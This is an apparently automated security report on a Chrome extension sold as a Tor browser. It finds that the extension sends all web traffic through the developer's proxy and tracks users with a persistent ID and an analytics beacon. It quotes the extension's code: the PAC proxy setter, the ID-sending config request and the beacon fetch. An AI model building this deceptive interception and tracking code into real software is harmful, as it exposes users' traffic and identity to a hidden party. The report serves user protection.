Is Tor Browser (Unofficial port for Chrome) safe?
Tor Browser is critical risk. Clicking Connect routes every HTTP/HTTPS request through goodextensions.mooo.com, developer infrastructure, not Tor. The proxy host comes from a config endpoint each popup open, so it can change anytime. Analysis confirmed the call and PAC.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Fake Tor proxy routes all traffic through developer's server
Clicking Connect routes every HTTP/HTTPS request through goodextensions.mooo.com, developer infrastructure, not Tor.
The proxy host comes from a config endpoint each popup open, so it can change anytime.
Analysis confirmed the call and PAC
You click Connect in the extension popup.
You expect your traffic to be anonymised through the Tor network.
The extension sets a browser-wide PAC script routing every HTTP and HTTPS request through ep01.goodextensions.mooo.com:443.
The proxy host was fetched from the developer's config endpoint moments earlier and can be changed remotely.
PAC script construction, js/functions.js:12-32
function torOn {
window.tor_enabled = 1;
chrome.storage.session.set({tor_enabled: 1}, function{});
chrome.storage.session.set({tor_started: 1}, function{});
chrome.storage.session.set({tor_settings: tor_settings}, function{});
chrome.proxy.settings.set(
{
value: {
mode: 'pac_script',
pacScript: {
data: 'function FindProxyForURL(url, host) { return "HTTPS ' + tor_settings.url + ':443"; }'
}
},
scope: 'regular'
},
function { console.log('TOR=On'); }
);
}- goodextensions.mooo.com
Config endpoint (torconfig.php) supplying the proxy host. Also parent domain for proxy servers ep01/ep04.goodextensions.mooo.com seen in analysis.
The Tor network routes traffic through a series of volunteer relays before it exits to the destination. This extension routes traffic through a single HTTPS proxy under the developer's control. That proxy sees the origin IP, the destination host, and — for unencrypted HTTP traffic — the full request content. The extension listing names the product 'Tor Browser (secure & fast)'; the code does not connect to any Tor relay or onion service.
Persistent tracking ID sent to developer server on every popup open
Each popup open sends a unique ID, generated at install and stored in synced storage, to goodextensions.mooo.com.
This happens before Connect, regardless of proxy activation.
Analysis confirmed the same UUID across popup opens and sessions.
You open the extension popup.
No connection is established, no button is clicked.
The extension transmits your persistent UUID to goodextensions.mooo.com before rendering the Connect button.
The same ID is sent on every subsequent popup open, allowing the developer's server to build a timeline of when you opened the popup.
| Field | Value | Why it matters | |
|---|---|---|---|
Persistent user ID | 53c4d230-b38e-49b5-9794-3a8c83453b6d | A UUID tied to your browser profile, synced to any device signed into Chrome. Lets the server link all your popup opens to one identity. | |
Cache-bust nonce | 0.7341829 | A random number appended to prevent caching. Has no privacy impact but confirms a fresh network request is made each time. | |
IP address | 203.0.113.47 | Your public IP address is transmitted implicitly with every HTTP request. |
UUID storage and transmission, js/functions.js:57-73 + js/popup.js:34
async function getUserID {
let obj = await chrome.storage.sync.get('id');
let id = obj.id;
if (id) {
return id;
} else {
let id = uuidv4;
chrome.storage.sync.set({ id: id });
return id;
}
}$.getJSON(
'https://goodextensions.mooo.com/ext/tor-browser/torconfig.php?cid=' + id + '&nc=' + Math.random,
function(data) {
window.tor_settings = data;
render('<p style="text-align: center;"><button id="on">Connect</button></p>');
button_act;
// ...
}
);- goodextensions.mooo.com
Developer-controlled config endpoint. Receives the persistent user UUID, IP address, and install metadata on every popup open.
Analytics beacon fires to developer server on every popup open
Each popup open sends a request to stat.goodextensions.mooo.com.
It has no explicit parameters, but carries your IP and browser headers via the HTTP connection.
Analysis confirmed four popup opens each triggered a request.
You open the extension popup.
No interaction beyond opening the popup is required.
The extension sends a GET request to stat.goodextensions.mooo.com, transmitting your IP address implicitly.
This happens on every popup open with no conditions and no way for the user to opt out.
Analytics beacon, js/stat.js:1 (entire file)
fetch('https://stat.goodextensions.mooo.com/s/tor-browser');- stat.goodextensions.mooo.com
Developer-controlled analytics endpoint. Receives one request per popup open; no explicit payload beyond standard HTTP headers including IP address.
+1 more finding not shown